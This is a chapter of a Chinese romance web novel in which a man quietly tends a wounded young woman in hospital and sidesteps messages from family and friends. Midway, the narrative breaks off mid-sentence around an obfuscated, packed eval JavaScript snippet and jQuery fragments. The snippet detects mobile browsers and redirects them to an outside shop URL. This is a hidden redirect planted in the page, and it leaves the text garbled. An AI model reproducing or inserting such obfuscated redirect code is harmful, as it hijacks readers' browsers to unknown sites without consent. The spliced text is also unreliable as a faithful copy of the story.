黄晶刚被推进来时住的是普通病房，三人间，靠窗的床位，隔壁是个骨折的老太太，对面是个阑尾炎术后的小男孩，家属进进出出，电视里放着养生节目，护士每隔半小时来测一次体温。裴砚办完住院手续后，去护士站问有没有单人间。
“单人间满了，VIP病房还有一间。”
裴砚点点头：“麻烦转过去。”然后刷卡，签字，没有多余的话。整个过程大概只花了五分钟。
护士在黄晶入院时就做了基础清洁。送来时她身上有血味、药味和几天没洗澡的潮气，护士用温毛巾帮她擦了脸、脖子、手臂和后背，避开胸口伤口周围的敷贴区域，又换了干净的病号服。
黄晶昏睡中任护士翻动，偶尔皱眉，但没有醒。当毛巾擦过她锁骨下方那片被纱布闷了好几天的皮肤时，她轻轻缩了一下肩膀，像是隔着梦境感觉到触碰，然后呼吸重新变得平稳，又沉了回去。
输液大概还要两三个小时，两袋液体，一袋抗生素一袋葡萄糖，流速调得很慢，怕她血管受不住。护士进来换过一次药，临走时交代她现在还不能吃东西，只能少量喝水，如果恶心就按铃。
床头柜上裴砚倒了杯温水，杯口冒着极淡的白气。黄晶嘴唇干裂起皮，他问护士要了根棉签，沾了温水轻轻点在她嘴唇上，动作很轻，像是怕惊醒她。
到了晚上九十点，黄晶才从漫长的昏睡中慢慢浮上来。先是感觉到灯光——透过眼皮的暗红色光晕，然后是熟悉的酒精味，再之后是胸口那处钝痛，和前几天不一样，不再是被闷着的那种隐隐发热，而是被清理干净之后的、清创带来的新鲜疼痛。
黄晶试着动了一下手指，手背上有胶布固定的输液管牵拉感；想翻身，胸口立刻抗议，太阳穴也跟着跳了几拍，恶心的感觉从胃底翻上来，卡在喉咙里。
她闭着眼，忍了一会儿，然后听到床边的动静。有人把水杯往床头柜上缓缓一搁，杯底碰到台面，轻轻一声，像是刻意放慢了动作。
黄晶没睁眼，但知道那是谁。那个人没有按呼叫铃叫护士，只是把她床头摇高了一点点——刚好够她呼吸顺畅，又不会扯到伤口。
裴砚坐下来，继续沉默。
她想喝水。但杯子在床头柜上，黄晶够不到，浑身都没力气，一动上半身就疼，沉闷、牵扯整个胸腔，像被人用很钝的刀背反复敲打过。
她试着用右手撑了一下床垫，想把自己撑起来一点，刚动了一下就出了一身冷汗，又跌回枕头上，喘了几秒。
裴砚站起来，又把床头摇高，高度刚好让她能靠着枕头。然后他端起水杯，把吸管递到她嘴边——他不知道从哪里找来的吸管，大概是问护士要的，也可能是刚才去楼下便利店买的。
黄晶接过吸管时没有说话，只是微微张开嘴唇，含住吸管，喝了几口。水是温的，不烫不凉，刚好能润过喉咙。她喝完，嘴唇离开吸管，睫毛都没抬，只是极轻地呼了口气，然后又闭上了眼睛。
裴砚把水杯放回床头柜上，坐回椅子里。他看着她的脸——本就不算明显的双下巴消失了，颧骨线条变得清晰，面容憔悴，眼皮薄得能看见细小的血管。
病号服是于叔老伴刘姨挑的浅蓝色，洗过很多次，布料软得不像医院的，但穿在她身上仍然显得空荡荡的，锁骨凹进去一小片阴影，手腕在袖口里晃荡。
她整个人像是被抽走了什么，只剩下一个安静的、几乎没有气息的躯壳，蜷在病床上。
护士进来换药时，黄晶也没有睁眼。纱布揭开时伤口暴露在空气里，边缘还有些红肿，清创后的创面干净但仍在渗液。护士涂药膏时她眉头微微皱了一下，呼吸顿了顿，然后松开，整个过程没有发出任何声音。
护士做完记录后轻声对回避的裴砚说了句“烧已经退了，炎症指标在往下走”，然后推着治疗车出去了。
裴砚在护士走后在椅子上坐了很久，然后站起来，走到窗边，把窗帘拉开一小条缝。光透进来，落在她床边，没有照到她脸上。
黄晶好几天没吃药了。裴砚也不知道她平时吃的那些药片叫什么名字，但他注意到，她醒来后始终没有问过手机在哪里。
手机不在裴砚手里。那天于叔开门救人时，手机还搁在床头柜上，屏幕黑着，充电线垂在边缘。后来救护车来了，于叔忙着跟车，刘姨在家接到电话后赶过来帮忙收拾东西——她知道住院要带换洗衣服、毛巾、拖鞋，也知道这姑娘一个人在北京，没有家人陪着。
刘姨拉开床头柜抽屉找充电器时，看到了那几盒药。帕罗西汀、阿法骨化醇、右佐匹克隆，三种药整齐地排在一个透明的小药盒里，药盒旁边是一板少了好几颗的布洛芬，还有半杯没喝完的凉水。
刘姨不认识这些药名，但她知道一个年轻人同时吃这么多种药，一定是有原因的。她没有多问，只是把药盒和手机一起装进一个干净的布袋里，带到医院交给了护士站的护士。
后来医生来查房时，这些药被逐一登记在病历上——帕罗西汀，抗抑郁，每日早晨两粒，已中断数日；阿法骨化醇，补维生素D，晚饭后服用；右佐匹克隆，助眠，睡前服用。
医生看着药盒里剩下的药片数量和住院记录上的日期，推算了一下她断药的天数，在病程记录上写了一行字，然后调整了当天的输液方案——抗生素继续，葡萄糖换成营养液，另外加了一小袋调节电解质平衡的补液。
第二天早上裴砚回了趟公寓，冲澡换了身衣服，又从衣柜里拿了几件换洗的衬衫和内衣塞进旅行袋，前后不到两个小时又出现在病房门口，手里还拎着一袋楼下买的清粥。
黄晶还在睡。裴砚把粥放在保温袋里，把充电线插好，把她的手机放在床头柜上——屏幕还黑着，他没有开机。然后他坐回沙发上，打开电脑开始处理工作。键盘声极轻，他特意换了把静音键盘，指尖落在键帽上几乎听不到声响。
护士进来测体温时看到他靠在沙发上，腿上搁着笔记本电脑，屏幕上是助理发来的文件。护士小声说了句“体温正常了”，裴砚点头，把电脑放到一边，站起来去看输液袋。
护士低头在电子病历上录数据，裴砚站在床边，一手轻轻扶着她正在输液的那只手的手腕，怕她睡梦中翻身扯到针头。护士录完抬头看了他一眼——目光在他扶着她手腕的那只手上停了一瞬，然后收回视线，推着治疗车出去了。
裴砚重新坐回沙发，合上电脑，靠着沙发背闭上眼睛。
其实他做这些的时候黄晶大多不知道。她醒着时他沉默，她睡着时他才敢做些多余的事——比如把她滑下来的被子往上拉一截，把窗帘的角度调偏几度让光不刺眼，把她的手机充好电但没有开机。
裴砚不想让她觉得被侵入，也不想让她在醒来的第一时间看到太多信息而感到焦虑。他只是想让她先养好伤，其他的都排在后面。
黄晶醒后，护士来抽血。针扎进肘窝时她微微偏过头，不看针头，也不看护士的脸，只是盯着窗帘缝里漏进来的一小片光斑。
血常规、炎症指标、维生素D浓度，几管血抽完，护士把棉球按在她肘窝上，她抬手按住棉球，没有看针眼。
抽血结果出来，“维D九点三，需要继续补。”医生在查房时翻了翻化验单说，语气平淡，像是在陈述一个不意外的结果。
然后他看了一眼黄晶手背上正在滴的输液管，“伤口愈合得不错，再观察两天就可以出院。”
医生说出院两个字的时候，黄晶正盯着天花板发呆，似乎在想别的事，又似乎什么都没想。
裴砚坐在旁边的椅子上，手里握着一杯已经凉透的水。他想起她每天吃完饭从药盒里倒出几粒药片就着水咽下去的样子，动作很快，理所当然，像在完成一个已经重复了无数遍的程序。
裴砚站起来，把凉水倒掉，换了杯温的放在她床头，然后把护士叫到走廊里，问了一句话。声音很轻，走廊里几乎没有人听到。“她什么时候可以恢复吃药？”
护士翻了翻手里的记录，“等抗生素停掉之后就可以，最迟后天。”
裴砚点头，回到病房，在备忘录里加了新的一条：后天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17669844|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早上，早饭后，帕罗西汀两粒，温水送服。记事以来的第一条日程提醒，不再是“她怕敲门声”，而是“她该吃药了”。
裴砚的微信这几天就没消停过，但他把手机调成了静音，屏幕朝下扣在茶几上，能不看就不看，能晚回就晚回。
裴钧发过好几条语音，点开是二哥一贯懒洋洋的语气，问他是不是被人夺了魂、怎么连个人影都见不着？还说他妈最近心情不好让他赶紧回来吃饭。裴砚没回语音，只打了两个字：有事。
裴岳也发过一条消息，措辞比裴钧正式得多，只有一行字：事情处理完回趟老宅。没问什么事，也没有问什么时候回，但来自大哥的消息本身就是信号——母亲已经把他在医院的事告诉了父亲，家里现在都知道他在陪一个女孩。裴砚没有回这条消息，只是把手机翻了个面，继续扣在茶几上。
和林书蕴约好的看展，他彻底忘了。那个展览是母亲特意安排的，说好的“下周带书蕴去看看展”，5月9日上午林书蕴发过一条微信，语气得体但冷淡：“听说你在医院，展我自己去了。”
裴砚晚上才看到，回了一个字：“好。”
林书蕴没有再回复。这件事就像一张被他忘记付的账单，静静地搁在手机里，他没有解释，也没有补救。
之后林书蕴没有再给他发过消息。她是个聪明人，从他忘记约好的展览、只回了一个“好”字的那一刻起，她就懂了。不过在画廊开幕晚宴上遇到霍云峥时，她还是提了一句：“裴砚最近是不是很忙？”语气随意，像是只是在聊一个许久不见的朋友。
霍云峥端起酒杯，“他最近在医院。”
林书蕴没再追问，只是点了点头，“替我问声好。”
她转身时霍云峥注意到她拿着手包的手指顿了一下——很轻，像是在想什么，然后她继续往前走，没有再回头。
上官越也发过消息。他不知道从哪里弄到了裴砚的微信号，加好友申请写了三次——第一次是“我是上官越”；第二次是“我想问问黄晶怎么样了”；第三次只有两个字：“求你”。
裴砚看到最后一条申请时，手指在屏幕上停了一瞬，然后点了通过。然后回了一条：她没事，在恢复。
上官越打了很长一段话又删掉，最后只发了一句：需要帮忙就开口。
裴砚没有回。他知道对上官越来说，这句“需要帮忙就开口”是他现在唯一能做的事。
苏衍之发过一条语音，语气比平时少了几分笑意，问黄晶恢复得怎么样、有没有需要安排的?
裴砚回：不用。苏衍之回：行。两人都没有再说话。
霍云峥也发过消息，频率不高，每天一条，措辞极简：今天怎么样。裴砚回：烧退了。第二天回：能喝粥了。第三天回：明天出院。
霍云峥每次回得也快，回复通常只有一个“嗯”字。这种对话大概只有他们两个能懂——不需要说太多，只需要确认人还在，命还在。
还有一个陌生号码发过一条短信，措辞很客气，自称是上官衡的助理，代表上官家向黄小姐致以问候，如需任何协助请随时联系。
裴砚看了一遍这短短几行字，没有回复，也没有删除。上官衡从不做多余的事。这条短信本身就是一个表态——上官家记得这件事，记这份情。
裴砚把所有消息都处理完了——该忽略的，该敷衍的，该回复的，该记在心里的。然后他把手机翻了个面，继续扣在茶几上。她刚喝完粥，正在试着自己拧毛巾，他得去把温水换一壶。
这几天黄晶喝粥，从最开始需要他把吸管递到嘴边，到后来能自己用勺子慢慢舀，裴砚坐在旁边看着，没有说话。
黄晶低头喝粥时睫毛垂下来，手指还有点抖，但粥没有再洒过。他知道她的手已经快好了，不再需要他端着了，但他还是没有走。
后天她就要出院，裴砚还没有想好用什么理由继续留下。或者说，他根本没有在想这个问题——他只是把原本还有很长展期的那个展览，和那些还没有找到答案的问题一起，暂时忘掉了。